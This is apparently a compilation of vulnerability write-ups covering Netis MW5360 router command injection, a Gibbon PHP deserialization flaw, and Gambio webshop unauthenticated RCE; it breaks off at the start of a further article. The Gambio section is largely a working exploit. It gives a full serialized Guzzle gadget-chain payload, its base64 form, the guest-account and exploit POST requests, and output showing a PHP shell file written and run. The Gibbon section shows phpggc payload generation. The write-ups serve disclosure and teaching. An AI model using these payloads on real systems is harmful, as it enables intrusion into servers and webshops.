The second issue is the blind command injection where the vulnerable code RunSystemCmd("echo root:%s | chpasswd -m",auStack_448);
allows an attacker to manipulate password argument represented by auStack_448
and inject and execute code using the unix backtics.
This explains why the password parameter is indeed vulnerable of blind command injection.
The RunSystemCmd
function is just a piece a code which is defined in the library libapmib.so
and executes a unix command line using the system()
call.
void RunSystemCmd(char *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4) { undefined4 local_res4; undefined4 local_res8; undefined4 local_resc; char acStack_118 [256]; undefined4 *local_18; local_res4 = param_2; local_res8 = param_3; local_resc = param_4; memset(acStack_118,0,0x100); local_18 = &local_res4; vsprintf(acStack_118,param_1,local_18); system(acStack_118); return; }
I have created an exploit that is published as official module Netis MW5360 unauthenticated RCE [CVE-2024-22729] in Metasploit.
Unfortunately there is no mitigation, because the latest firmware from April 2024 is still vulnerable. So be on the alert when suddenly your router administration password changes unexpectedly and you can not login into your router anymore.
References
CVE-2024-22729
Netis MW5360 unauthenticated RCE [CVE-2024-22729]
Firmware MW5360-1.0.1.3442
Credits
Credits go to the security researcher below who discovered this vulnerability.
adhikara13
Technical Analysis
Th Gibbon web application v26.0.00
has a PHP deserialization vulnerability and I would like to use this particular example as a use case to explain a bit more how to find this type of vulnerabilities and how you can build your own exploit.
In some other articles, I already explained the concept of serialization and why it used in web application design, but let me quickly summarize the theory once more.
Serialization is the process of converting complex data structures, such as objects and their fields, into a format that can be sent and received as a sequential stream of bytes. Serializing data makes it much simpler to write complex data to inter-process memory, a file, or a database or send complex data, for example, over a network, between different components of an application, or in an API call.
The concept of serialization is very often used in application design to exchange data. Data objects get serialized, send and on the receiving end, de-serialized for further processing. Many programming languages offer native support for serialization where some languages serialize objects into binary formats, whereas others use different string formats.
So far, so good, but what is exactly insecure deserialization
and why is it so dangerous?
Insecure deserialization is when user-controllable data is deserialized by a web application. This enables an attacker to manipulate serialized objects in order to pass harmful data into the application code. It is even possible to replace a serialized object with an object of an entirely different class. Even worse, objects of any class that is available to the website will be deserialized and instantiated, regardless of which class was expected. For this reason, insecure deserialization is sometimes known as an “object injection” vulnerability.
By doing this, an object of an unexpected class might cause an exception, however, the damage may already be done because many deserialization-based attacks are completed before deserialization is finished. This means that the deserialization process itself can initiate an attack, even if the web application’s own functionality does not directly interact with the malicious object.
Just a quick example of serialized data, so we understand the structure. We will use PHP serialization string format.
Take this object Clock.
$clock->type = "cuckoo"; $clock->isSold = true;
When serialized, this object may look something like below:
O:5:"Clock":2:{s:4:"type":s:6:"cuckoo"; s:6:"isSold":b:1;} O:5:"Clock": - An object with the 4-character class name "Clock" 2: - the object has 2 attributes s:4:"type" - The key of the first attribute is the 4-character string "type" s:6:"cuckoo" - The value of the first attribute is the 6-character string "cuckoo" s:6:"isSold" - The key of the second attribute is the 6-character string "isSold" b:1 - The value of the second attribute is the boolean value true
The native methods for PHP serialization are serialize()
and unserialize()
. So If you have source code access, you should start by looking for unserialize()
anywhere in the code to see if there is an opportunity to find and exploit an insecure deserialization vulnerability.
Let’s now have a closer look at the Gibbon web application and try to correlate the above theory with the discovered deserialization vulnerability at the web application.
If you read the description in the CVE published for Gibbon, it mentions a PHP deserialization vulnerability via columnOrder
in a POST request to the modules/System%20Admin/import_run.php&type=externalAssessment&step=4
.
So let’s have a look at the file import_run.php
and check if we can find the unserialize()
function that is typically used by PHP. The good thing is that Gibbon is open source so all the source code is available for analysis.
And indeed, there is unserialize()
function in the file import_run.php
and more important it has user-controllable parameters, such as columnOrder
and columnText
which makes this a potential candidate for insecure deserialization.
//STEP 3 & 4, DRY & LIVE RUN ----------------------------------------------------------------------------------- elseif ($step==3 || $step==4) { // Gather our data $mode = $_POST['mode'] ?? null; $syncField = $_POST['syncField'] ?? null; $syncColumn = $_POST['syncColumn'] ?? null; $csvData = $_POST['csvData'] ?? null; if ($step==4) { // DESERIALIZATION with user-controllable data !!! $columnOrder = isset($_POST['columnOrder'])? unserialize($_POST['columnOrder']) : null; $columnText = isset($_POST['columnText'])? unserialize($_POST['columnText']) : null; } else { $columnOrder = $_POST['columnOrder'] ?? null; $columnText = $_POST['columnText'] ?? null; } $fieldDelimiter = isset($_POST['fieldDelimiter'])? urldecode($_POST['fieldDelimiter']) : null; $stringEnclosure = isset($_POST['stringEnclosure'])? urldecode($_POST['stringEnclosure']) : null; $ignoreErrors = $_POST['ignoreErrors'] ?? false;
But the big question is still how to put this potential deserialization vulnerability into a working exploit where you can pull off a remote code execution or establish a privileged escalation.
A bit of theory again before we move on…
You have different ways to leverage a deserialization vulnerability by tampering the data, such as the object attributes or modifying data types where you can change the behavior and outcome of application functionality.
Another way, is to use the application functionality that is associated with the deserialized data. An example of this could be an use case where deseralized data is used to upload a personal image file as part of creating a new user. If the attacker can manipulate the filename object during deserialization process, he/she potentially could change the image file to point to a malicious malware file which will then be uploaded in the application.
However, the most common way to leverage a deserialization vulnerability is to make use of the so called Magic Methods
and Gadget Chains
.
Let’s quickly explain both concepts.
Magic methods are a special subset of methods that you do not have to explicitly invoke. Instead, they are invoked automatically whenever a particular event or scenario occurs. Magic methods are a common feature of object-oriented programming in various languages. They are sometimes indicated by prefixing or surrounding the method name with double-underscores.
Developers can add magic methods to a class in order to predetermine what code should be executed when the corresponding event or scenario occurs. Exactly when and why a magic method is invoked differs from method to method. One of the most common examples in PHP is __construct()
, which is invoked whenever an object of the class is instantiated, similar to Python’s __init__
. Important in this context, some languages have magic methods that are invoked automatically during the deserialization process. For example, PHP’s unserialize()
method looks for and invokes an object’s __wakeup()
magic method.
To construct a simple exploit, you typically would look for classes containing deserialization magic methods, and check whether any of them perform dangerous operations on controllable data. You can then pass in a serialized object of this class to use its magic method for an exploit.
Gadget Chains
Classes containing these deserialization magic methods can be used to initiate more complex attacks involving a long series of method invocations, known as a gadget chain
. It is important to understand that a gadget chain is not a payload of chained methods constructed by the attacker. All of the code already exists on the web application. The only thing the attacker controls is the data that is passed into the gadget chain. This is typically done using a magic method that is invoked during deserialization, sometimes known as a kick-off gadget
.
Now this a lot of information, but how do we apply this in practice?
Manually identifying gadget chains is a pretty complicated process that requires a deep understanding of the web application and you will need source code access in order to do this.
However, to make our life easier, there are pre-built gadget chains that you can try first.
Ambionics
has build a library of pre-built gadget chains designed for PHP based web applications, called phpggc.
If installed, you can check which pre-built gadget chains are available.
It will tell you the name of the framework/library, the version of the framework/library for which gadgets are for, the type of exploitation such as RCE, File Write, File Read, Include…, and the vector (kickoff gadget) to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), …)
kali@cerberus:~/phpggc$ phpggc -l Gadget Chains ------------- NAME VERSION TYPE VECTOR I Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct CodeIgniter4/RCE1 4.0.2 RCE (Function call) __destruct CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct Doctrine/FW1 ? File write __toString * Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct * Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct * Dompdf/FD1 1.1.1 <= ? File delete __destruct * Dompdf/FD2 ? < 1.1.1 File delete __destruct * Drupal7/FD1 7.0 < ? File delete __destruct * Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * Drupal9/RCE1 -8.9.6 <= 9.4.9+ RCE (Function call) __destruct * Guzzle/FW1 4.0.0-rc.2 <= 7.5.0+ File write __destruct Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * Kohana/FR1 3.* File read __toString * Laminas/FD1 <= 2.11.2 File delete __destruct Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * Laravel/RCE1 5.4.27 RCE (Function call) __destruct Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct * Laravel/RCE13 5.3.0 <= 9.5.1+ RCE (Function call) __destruct * Laravel/RCE14 5.3.0 <= 9.5.1+ RCE (Function call) __destruct Laravel/RCE15 5.5.0 <= v9.5.1+ RCE (Function call) __destruct Laravel/RCE16 5.6.0 <= v9.5.1+ RCE (Function call) __destruct Magento/FW1 ? <= 1.9.4.0 File write __destruct * Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct Magento2/FD1 * File delete __destruct * Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * Phalcon/RCE1 <= 1.2.2 RCE __wakeup * Phing/FD1 2.6.0 <= 3.0.0a3 File delete __destruct PHPCSFixer/FD1 <= 2.17.3 File delete __destruct PHPCSFixer/FD2 <= 2.17.3 File delete __destruct PHPExcel/FD1 1.8.2+ File delete __destruct PHPExcel/FD2 <= 1.8.1 File delete __destruct PHPExcel/FD3 1.8.2+ File delete __destruct PHPExcel/FD4 <= 1.8.1 File delete __destruct PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString Slim/RCE1 3.8.1 RCE (Function call) __toString Smarty/FD1 ? File delete __destruct Smarty/SSRF1 ? SSRF __destruct * Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct Spiral/RCE2 -2.8+ RCE (Function call) __destruct * SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct SwiftMailer/FD2 5.4.6 <= 5.x-dev File delete __destruct * SwiftMailer/FR1 6.0.0 <= 6.3.0 File read __toString SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString SwiftMailer/FW3 5.0.1 File write __toString SwiftMailer/FW4 4.0.0 <= ? File write __destruct Symfony/FD1 v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6 File delete __destruct Symfony/FW1 2.5.2 File write DebugImport * Symfony/FW2 3.4 File write __destruct Symfony/RCE1 v3.1.0 <= v3.4.34 RCE (Command) __destruct * Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * Symfony/RCE5 5.2.* RCE (Function call) __destruct Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct * Symfony/RCE7 v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7 RCE (Function call) __destruct Symfony/RCE8 v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1 RCE (Function call) __destruct TCPDF/FD1 <= 6.3.5 File delete __destruct * ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * ThinkPHP/RCE3 -6.0.1+ RCE (Function call) __destruct ThinkPHP/RCE4 -6.0.1+ RCE (Function call) __destruct Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * vBulletin/RCE1 -5.6.9+ RCE (Function call) __destruct WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * Yii/RCE1 1.1.20 RCE (Function call) __wakeup * Yii/RCE2 1.1.20 RCE (Function call) __destruct Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * ZendFramework/FD1 ? <= 1.12.20 File delete __destruct ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct
Yeah, this definitely helps, but we need to figure out first which gadget chains are supported by our Gibbon web application.
If we look at the directory where Gibbon is installed, typically /var/www
or /var/www/html
depending on the webroot
setting, you will find a directory vendor
. Running the ls
command will list the framework/libraries that are installed and supported by the web application.
root@cuckoo:/var/www/vendor# ls aura ezyang league moneyphp omnipay phpoffice setasign autoload.php firebase maennchen monolog paragonie phpseclib slim clue fzaninotto markbaker mpdf parsecsv psr symfony composer google matthewbdaly myclabs php-http ralouphie tecnickcom eluceo guzzlehttp microsoft nikic phpmailer robthree twig
And indeed you can see that there are frameworks/libraries listed that are part of our gadget chain list, such as monolog
and symfony
.
Ok, so we have some pre-built gadget chains options that we can try, but we also need to figure if the versions installed are supported.
Let’s explore monolog
a bit deeper and check CHANGELOG.md
which version is installed.
root@cuckoo:/var/www/vendor/monolog/monolog# cat CHANGELOG.md ### 1.27.1 (2022-06-09) * Fixed MandrillHandler support for SwiftMailer 6 (#1676) * Fixed StreamHandler chunk size (backport from #1552) ### 1.27.0 (2022-03-13) * Added $maxDepth / setMaxDepth to NormalizerFormatter / JsonFormatter to configure the maximum depth if the default of 9 does not work for you (#1633)
Version 1.27.1
is installed, so the next question is which pre-built monolog gadget chains can we use?
There is a nice python script test-gc-compatibility.py
as part of phpggc
that does this job for us.
kali@cerberus:~/phpggc$ python ./test-gc-compatibility.py monolog/monolog:1.27.1 monolog/fw1 monolog/rce1 monolog/rce2 monolog/rce3 monolog/rce4 monolog/rce5 monolog/rce6 monolog/rce7 monolog/rce8 monolog/rce9 -w 4 Running on PHP version PHP 8.2.12 (cli) (built: Jan 8 2024 02:15:58) (NTS). Testing 1 versions for monolog/monolog against 10 gadget chains. ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ monolog/monolog ┃ Package ┃ monolog/fw1 ┃ monolog/rce1 ┃ monolog/rce2 ┃ monolog/rce3 ┃ monolog/rce4 ┃ monolog/rce5 ┃ monolog/rce6 ┃ monolog/rce7 ┃ monolog/rce8 ┃ monolog/rce9 ┃ ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ 1.27.1 │ OK │ KO │ OK │ OK │ KO │ KO │ OK │ OK │ OK │ KO │ KO │ └─────────────────┴─────────┴─────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┴──────────────┘ kali@cerberus:~/phpggc$
So we have quite some options that we can test.
To generate the serialized data with the payload for a particular gadget chain, you can run the following command: ./phpggc -f monolog/rce1 system id
which generates the gadget chain monolog/rce1
with the payload. In this case, the serialized data gets deserialized and the id
command gets executed using the system function call.
It is important, that it does not really matter if the instantiation of this object makes logical sense from an application perspective. We are manipulating the serialized data generated by the web application and pushing it to a supported gadget chain that will generate an object instance and hopefully execute the payload during the deserialization process. The -f
option applies the fast-destruct technique, so that the object is destroyed right after the unserialize()
call, as opposed to at the end of the script.
kali@cerberus:~/phpggc$ ./phpggc -f monolog/rce1 system id a:2:{i:7;O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:3;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}
Important: there are null bytes in the serialized data, for example *socket
is \x00*\x00socket
and therefore the size is 9 and not 7.
This applies for all the *items
.
I have created an exploit that is are published as official module Gibbon Online School Platform Authenticated RCE [CVE-2024-24725] in Metasploit.
If you review the module, you will see most of the above theory and discussions back in the exploit code.
Summary
Deserialization flaws are pretty common in web application design.
Here are some simple steps to identify and exploit potential deserialization vulnerabilities in the application code:
- get access to the application source code;
- search for the language specific serialization and deserialization functions in the code. For PHP, these functions are
serialize()
andunserialize()
;
- check if user-controlled parameters are part of serialize and deserialize process;
- check the availability of pre-built gadget chains that are supported by your web application and can be leveraged; and
- last but not least, try and error until the magic happens ;–)
Till next time….
References
CVE-2024-24725
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Metasploit PR 19044: Gibbon Online School Platform Authenticated RCE [CVE-2024-24725]
Credits
Credits go to the security researchers below whom discovered this vulnerability
SecondX.io Research Team (Ali Maharramli, Fikrat Guliev, Islam Rzayev )
Technical Analysis
As discussed in my previous attackerkb article CVE-2024-2054 , here another example of a Deserialization of Untrusted Data (DUD) vulnerability.
In this case, it is present at the online e-commerce webshop made by Gambio. If you launch their main website, it shows you that around 20.000 Webshops are live. I did a search with Shodan
using http.component:"Gambio"
and I could only find a limited amount of webshops, (around 300) but nevertheless the majority of these webshops are still vulnerable.
The main issue sits in the search
parameter of the Parcelshopfinder/AddAddressBookEntry
function which is de-serialized without checking the data.
The ParcelshopfinderController.inc.php
file contains this vulnerable function (line 291).
$postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT)); if ($postnumber == 0 || $this->isValidPostnummer($postnumber) !== true) { $search = unserialize(base64_decode($this->_getPostData('search'))); $psfParams = [ 'street' => $search[0], 'house' => $search[1], 'zip' => $search[2], 'city' => $search[3], 'country' => $search[4], 'firstname' => $firstname, 'lastname' => $lastname, 'postnumber' => $postnumber, 'additional_info' => $additional_info, 'error' => 'invalid_postnumber', ]; }
The application is using “Guzzle” which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.
The following data triggers this vulnerability when encoded with base64
"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}"
echo -e "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}" | base64 -w0 TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K
and using the following HTTP POST request:
POST /shop.php?do=Parcelshopfinder/AddAddressBookEntry HTTP/1.1 Host: your_webshop_ip Content-Type: application/x-www-form-urlencoded Cookie: your_cookie checkout_started=0&search=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K&street_address=timestreet&house_number=10&additional_info=&postcode=000&city=bigben&country=DE&firstname=cuckoo&lastname=clock&postnumber=111111&psf_name=t
You should get a HTTP 500 error and the response should show <h1>Unexpected error occurred...</h1>Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
.
However, it is important to obtain a valid session cookie first in order to execute the above POST request successfully.
You can obtain this session cookie by first creating a guest user in the online web application using the HTTP POST request below.
This does not require any pre-authentication to be successful.
POST /shop.php?do=CreateGuest/Proceed HTTP/1.1 Host: your_webshop_ip Content-Type: application/x-www-form-urlencoded firstname=cuckoo&lastname=clock&email_address=cuckoo@clock.com&email_address_confirm=cuckoo@clock.com&b2b_status=0&company=&vat=&street_address=timestreet&postcode=11111&city=bigben&country=8&telephone=4912312312312&fax=&action=process
IMPORTANT NOTE: Use value 8 for country otherwise this request is not successful. You should get a 302
and in the admin page of your online webshop the user should show up at the guest section.
If all goes well, a file cuckoo.php
gets created in the webroot
directory with the PHP code <?php echo system('whoami');?>
.
root@cuckoo:~# cd /var/www root@cuckoo:/var/www# ls -l cuckoo.php -rw-r--r-- 1 www-data www-data 165 Mar 29 08:51 cuckoo.php root@cuckoo:/var/www# cat cuckoo.php [{"Expires":1,"Discard":false,"Value":"<?php echo system('whoami');?>","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]
When called for instance with curl http://your_webshop_ip/cuckoo.php
, it should give you back the user under which the web service is running.
curl http://192.168.201.25/cuckoo.php [{"Expires":1,"Discard":false,"Value":"www-data www-data","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]
I have created a Metasploit module that will exploit this vulnerability Metasploit PR 19005: Gambio Webshop unauthenticated RCE.
Mitigation
If you want to test the module, you can download a vulnerable Gambio online webshop software from here. The version 4 branch of Gambio online webshop is vulnerable starting from version 4.9.2.0
or lower. The version 3 branch is not vulnerable. You are strongly advised to upgrade your webshop to the latest version, but at least to a version greater then 4.9.2.0
.
References
CVE-2024-23759
Herolab usd Advisory usd-2023-0046
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Gambio Webshop Downloads
Metasploit PR 19005: Gambio Webshop unauthenticated RCE
Credits
Credits goes to the security researchers below who discovered this vulnerability.
Christian Poeschl and Lukas Schraven from Herolab usd.
Technical Analysis
One of the common vulnerabilities that is still around and pretty common nowadays is the Deserialization of Untrusted Data (DUD
).
DUD
is a vulnerability that can occur in software systems that use serialization and deserialization. Serialization is the process of converting an object’s state to a stream of bytes, while deserialization is the process of recreating the object from the stream of bytes.
This is typically used to exchange information between systems. Distributed systems often share objects across separate nodes, so objects must be delivered over the wire. Since objects tend to consist of many parts, it can be time-consuming to write code that handles the delivery of each individual part. Serialization enables us to save and transmit the state of an object in a standardized way. Deserialization then enables us to recreate objects after they have been serialized for transmission over the wire, between applications, through firewalls, and more.
In a system that uses DUD
